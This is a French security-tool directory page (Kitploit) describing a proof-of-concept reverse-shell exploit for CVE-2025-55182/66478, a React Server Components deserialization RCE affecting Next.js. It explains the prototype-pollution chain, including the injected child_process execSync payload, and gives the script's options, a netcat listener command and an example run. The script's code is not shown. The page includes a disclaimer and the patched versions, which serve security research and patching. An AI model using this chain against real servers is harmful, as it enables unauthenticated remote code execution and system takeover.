Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-66478-PoC-Reverse-Shell — Preuve de concept d'exploitation pour CVE-2025-55182/66478, une RCE par désérialisation des React Server Components, délivrant un reverse shell via une requête multipart spécialement conçue. | Kitploit
Outils/GitHubGitHub/jotaespig/cve-2025-66478-poc-reverse-shell
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubjotaespig/cve-2025-66478-poc-reverse-shell

CVE-2025-66478-PoC-Reverse-Shell

Preuve de concept d'exploitation pour CVE-2025-55182/66478, une RCE par désérialisation des React Server Components, délivrant un reverse shell via une requête multipart spécialement conçue.

Voir le dépôt
1il y a 9h 8mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-66478 / CVE-2025-55182 (« React2Shell ») — Preuve de concept RCE par désérialisation des Server Actions RSC

Preuve de concept d'exploitation pour CVE-2025-55182 — surnommée publiquement « React2Shell » — une vulnérabilité de pollution de prototype côté serveur dans la désérialisation des Server Actions des React Server Components (react-server-dom-webpack / -parcel / -turbopack), que Next.js a suivie sous l'identifiant CVE-2025-66478 (rejetée par la NVD comme doublon, mais toujours l'identifiant couramment utilisé pour discuter de l'impact de ce bug sur Next.js en particulier).

Une seule requête HTTP multipart malveillante pollue Object.prototype et parcourt la chaîne de prototypes pour atteindre le constructeur Function, permettant à un attaquant non authentifié d'exécuter du code Node.js arbitraire dans le processus serveur — CVSS 10/10.

Détails de la vulnérabilité

Cause racine. Le désérialiseur de réponses d'actions RSC (requireModule) résout les chemins d'objets envoyés par le client (par ex. "$1:__proto__:then") sans valider que la clé cible n'est pas une clé réservée/dangereuse comme __proto__. Définir __proto__ sur un objet simple pollue Object.prototype lui-même, donc chaque objet créé par la suite hérite de la propriété contrôlée par l'attaquant.

Chaîne d'exploitation.

  1. then → "$1:__proto__:then" — atteindre la chaîne de prototypes.
  2. _response._formData.get → "$1:constructor:constructor" — remonter du prototype pollué jusqu'au constructeur Function.
  3. _response._prefix — chaîne contrôlée par l'attaquant, insérée dans le code exécuté lorsque le serveur tente de résoudre le « thenable » fabriqué (un faux objet de type Promise). Cette preuve de concept la définit sur process.mainModule.require('child_process').execSync('<cmd>').
  4. La charge utile est soumise sous forme de deux champs multipart (0, 1) dans un POST à la racine de l'application avec un en-tête Next-Action, ce qui achemine la requête directement vers le gestionnaire de Server Actions vulnérable.

Versions affectées (selon le rapport de Datadog) :

BibliothèqueVulnérableCorrigée
react-server-dom-parcel19.0 – 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-webpack19.0 – 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack19.0 – 19.2.019.0.1, 19.1.2, 19.2.1

Next.js est affecté sur les versions 15.x, 16.x et 14.3.0-canary.77+ lors de l'utilisation de l'App Router. Corrigé dans les versions 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 et 16.0.7.

Avertissement

Pour des tests de sécurité autorisés et un usage éducatif uniquement (par ex. laboratoires CTF/HTB, votre propre infrastructure, ou des engagements avec autorisation écrite). N'exécutez pas cela contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.

Prérequis

  • curl
  • bash
  • Un écouteur sur la machine de l'attaquant (par ex. nc -lvnp <port>) sauf si vous fournissez votre propre commande via -c
  • La cible doit exécuter busybox nc (ou adapter -c à l'utilitaire shell disponible sur la cible) pour que la commande de reverse shell par défaut fonctionne

Utilisation

root@kitploit:~
chmod +x exploit.sh
./exploit.sh -t <cible> -L <port_local> [options]
OptionRequisDescription
-t, --targetouiHôte/IP de la cible exécutant l'application Next.js vulnérable
-L, --lportoui*Port local sur lequel votre écouteur est lié
-p, --portnonPort de la cible (défaut : 3000)
-l, --lhostnonVotre IP pour le rappel (défaut : détection automatique)
-i, --ifacenonInterface pour détecter automatiquement --lhost
-c, --commandnonCommande personnalisée à exécuter sur la cible (remplace le reverse shell par défaut)
--timeoutnonDélai d'expiration de la requête curl en secondes (défaut : 3)
-v, --verbosenonAfficher les détails de la requête/réponse
-h, --helpnonAfficher l'aide

* non requis si -c/--command est fourni à la place.

Exemple

root@kitploit:~
# 1) démarrer un écouteur
rlwrap nc -lvnp 9090

# 2) déclencher l'exploit
./exploit.sh -t 10.129.245.214 -L 9090

Références

  • CVE-2025-55182 « React2Shell » : Exécution de code à distance dans les React Server Components — Datadog Security Labs
Télécharger l’outil